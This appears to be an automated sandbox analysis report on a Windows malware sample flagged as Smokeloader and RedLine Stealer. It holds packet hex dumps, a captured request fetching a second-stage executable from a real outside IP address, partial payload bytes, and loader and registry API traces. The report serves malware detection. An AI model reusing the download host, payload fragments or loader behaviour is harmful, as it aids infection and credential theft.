Dec 13, 2024 08:36:30.791578054 CET	1236	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 13, 2024 08:36:30.791589975 CET	1236	IN	Data Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00 Data Ascii: o/(z{v0rpsAz}({v}(,}({:}({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{
Dec 13, 2024 08:36:30.791600943 CET	1236	IN	Data Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e Data Ascii: }(m{:}(m{:}(m{:}(m{{:}(m{:}(m{:}(m{:}(m{2{o^{{oo:}(m:
Dec 13, 2024 08:36:30.791841030 CET	1236	IN	Data Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03 Data Ascii: {+oo2{+oz,{,{o/(z*6(&(R(&o(z,{-,{-o/(2s}-}6{=ob-{=o\rTp(;&z,{<,{<o/(z:{0ot*:{/ot
Dec 13, 2024 08:36:30.791851997 CET	1236	IN	Data Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 Data Ascii: (9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&>:}d(Co(D}d(F(E(&";><}n{u"}u{v"}v{w"
Dec 13, 2024 08:36:30.791863918 CET	1236	IN	Data Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22 Data Ascii: ,{o#o{o(,{o)o,**u{"}{J{{(F(uNoKJ(uNoLF(uNoMJ(uNoN{"}{"}{"}
Dec 13, 2024 08:36:30.911623955 CET	1236	IN	Data Raw: 0a 7d fa 01 00 04 2a 2e 73 6f 02 00 0a 80 fc 01 00 04 2a 1e 02 28 70 02 00 0a 2a 76 04 d0 65 00 00 01 28 7b 00 00 0a 28 07 01 00 0a 2c 02 17 2a 02 03 04 28 71 02 00 0a 2a 36 02 28 72 00 00 0a 02 28 8e 04 00 06 2a 32 73 8f 04 00 06 28 7a 02 00 0a Data Ascii: }.so(pve({(,(q6(r(2s(z&z,{5,{5o/(z~}8s}9(5((}2r p(;&2r p(;&J{9to2{9oz,{:,{:o/(T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49772	80.82.65.70	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:36:31.807749033 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:33.419584990 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-
Dec 13, 2024 08:36:33.419620037 CET	1236	IN	Data Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04 Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r/p%(%r3
Dec 13, 2024 08:36:33.419635057 CET	1236	IN	Data Raw: 7b 17 00 00 04 19 6f 48 00 00 0a 02 7b 17 00 00 04 16 6f 49 00 00 0a 02 7b 17 00 00 04 72 1d 02 00 70 6f 4a 00 00 0a 02 7b 17 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 17 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 17 00 00 04 72 35 02 00 70 Data Ascii: {oH{oI{rpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rKpoRtPoS{oT{oU{oV{oW{oX{oY{#oZ{o
Dec 13, 2024 08:36:33.419723988 CET	1236	IN	Data Raw: 45 00 00 0a 02 7b 08 00 00 04 72 39 03 00 70 6f 21 00 00 0a 02 7b 09 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 09 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 09 00 00 04 19 6f 48 00 00 0a 02 7b 09 00 00 04 16 6f 49 00 00 0a 02 7b 09 00 00 04 Data Ascii: E{r9po!{(FoG{(<o9{oH{oI{rqpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rypoRtPoS{oT{oU{oV{oW
Dec 13, 2024 08:36:33.419737101 CET	896	IN	Data Raw: 7b 0b 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 0b 00 00 04 72 47 04 00 70 6f 42 00 00 0a 02 7b 0b 00 00 04 20 2c 05 00 00 20 81 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0b 00 00 04 1e 6f 45 00 00 0a 02 7b 0b 00 00 04 02 fe 06 Data Ascii: {s@oA{rGpoB{ , sCoD{oE{skol{oi{rUp"@AsOoP{Es>o?{s@oA{rwpoB{ #sCoD{oE{rpo!
Dec 13, 2024 08:36:33.419744968 CET	1236	IN	Data Raw: 11 00 00 04 72 6d 05 00 70 6f 42 00 00 0a 02 7b 11 00 00 04 20 96 00 00 00 1f 2a 73 43 00 00 0a 6f 44 00 00 0a 02 7b 11 00 00 04 1f 0b 6f 45 00 00 0a 02 7b 11 00 00 04 72 93 05 00 70 6f 21 00 00 0a 02 7b 11 00 00 04 02 fe 06 17 00 00 06 73 67 00 Data Ascii: rmpoB{ sCoD{oE{rpo!{sgoh{oi{r5p"dAsOoP{zs>o?{s@oA{rpoB{ sCoD{oE{rpo!{
Dec 13, 2024 08:36:33.419750929 CET	1236	IN	Data Raw: 72 35 02 00 70 22 00 00 7c 41 16 19 16 73 4f 00 00 0a 6f 50 00 00 0a 02 7b 15 00 00 04 28 46 00 00 0a 6f 3d 00 00 0a 02 7b 15 00 00 04 17 6f 85 00 00 0a 02 7b 15 00 00 04 1f 14 6f 86 00 00 0a 02 7b 15 00 00 04 28 3c 00 00 0a 6f 87 00 00 0a 02 7b Data Ascii: r5p"\|AsOoP{(Fo={o{o{(<o{(Fo{(Fo{ ?s>o?{s@oA{rpoB{ jmsCoD{oE{ o{sg
Dec 13, 2024 08:36:33.419756889 CET	1236	IN	Data Raw: 7b 1d 00 00 04 6f 3a 00 00 0a 02 7b 20 00 00 04 6f 3b 00 00 0a 02 7b 1d 00 00 04 28 3c 00 00 0a 6f 3d 00 00 0a 02 7b 1d 00 00 04 1f f8 1f f5 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 1d 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 1d 00 00 Data Ascii: {o:{ o;{(<o={s>o?{s@oA{rGpoB{ sCoD{oE{)skol{oi{rUp"@AsOoP{Ss>o?{s@oA{rw
Dec 13, 2024 08:36:33.419934034 CET	1236	IN	Data Raw: 04 17 6f 59 00 00 0a 02 7b 27 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 27 00 00 04 17 6f 5b 00 00 0a 02 7b 27 00 00 04 23 00 00 00 00 00 80 56 40 6f 5c 00 00 0a 02 7b 27 00 00 04 16 6f 5d 00 00 0a 02 7b 27 00 00 04 1f 09 20 f5 00 Data Ascii: oY{'#oZ{'o[{'#V@o\{'o]{' s>o?{'s@oA{'rpoB{'(<o^{'(_o`{'(aob{'oc{' AUsCoD{'oE{'rpo!{
Dec 13, 2024 08:36:33.419940948 CET	1236	IN	Data Raw: 00 04 14 6f 56 00 00 0a 02 7b 25 00 00 04 16 6f 57 00 00 0a 02 7b 25 00 00 04 16 6f 58 00 00 0a 02 7b 25 00 00 04 17 6f 59 00 00 0a 02 7b 25 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 25 00 00 04 17 6f 5b 00 00 0a 02 7b 25 00 00 04 Data Ascii: oV{%oW{%oX{%oY{%#oZ{%o[{%#V@o\{%o]{% s>o?{%s@oA{%rpoB{%(_o^{%(_o`{%(aob{%oc{% AUsC
Dec 13, 2024 08:36:33.545064926 CET	1236	IN	Data Raw: 20 96 00 00 00 20 2a 01 00 00 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 2a 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 2a 00 00 04 72 91 07 00 70 6f 42 00 00 0a 02 7b 2a 00 00 04 20 74 02 00 00 1f 1a 73 43 00 00 0a 6f 44 00 00 0a 02 7b 2a Data Ascii: s>o?{s@oA{rpoB{ tsCoD{*oE{)oi{)rp"@A sOoP{) e s>o?{)s@oA{)rpoB{) sCoD{)oE{)r

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 7324, Parent PID: 2580

General

Target ID:	0
Start time:	02:35:22
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'979'904 bytes
MD5 hash:	CFC94B958CBA743ED8B273401E37C465
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 8072, Parent PID: 7324

General

Target ID:	6
Start time:	02:36:35
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 580
Imagebase:	0x860000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7324, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,92291A76,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,92291A76), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

]DFE, xrefs: 00404640
^OX*, xrefs: 00404B6B
viFO, xrefs: 004048DA
SUB=, xrefs: 00405A98
KDOX, xrefs: 004048E4
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,92291A76), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

DFEK, xrefs: 0040535C
mixone, xrefs: 00406219
SUB=, xrefs: 00405A98
updateSW, xrefs: 0040565B
get, xrefs: 00405E91
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
alignedImageSize != AlignValueUp!, xrefs: 0040300C
DOS header size is not valid!, xrefs: 00402F51
p.@P.@0.@, xrefs: 004030C5
Section alignment invalid!, xrefs: 00402FA7
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
DOS header is not valid!, xrefs: 00402F12
Size is not valid!, xrefs: 00402EE8
ERROR_OUTOFMEMORY!, xrefs: 00403042

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,92291A76), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

Error protecting memory page, xrefs: 00402B11
%s: %s, xrefs: 00402B16

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00F4D0FE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00F4D126
Module32First.KERNEL32(00000000,00000224), ref: 00F4D146

Memory Dump Source

Source File: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F4C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f4c000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e507d7dfc0e0313ec1f929d85312605204cb9a0ea4d7a58d211414fa93b667f8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 69F096315007146BF7203BF59C8DBAE7AECAF89734F100629FE52911C0DB74EC459A61

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 004087AC
emp, xrefs: 00408787

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
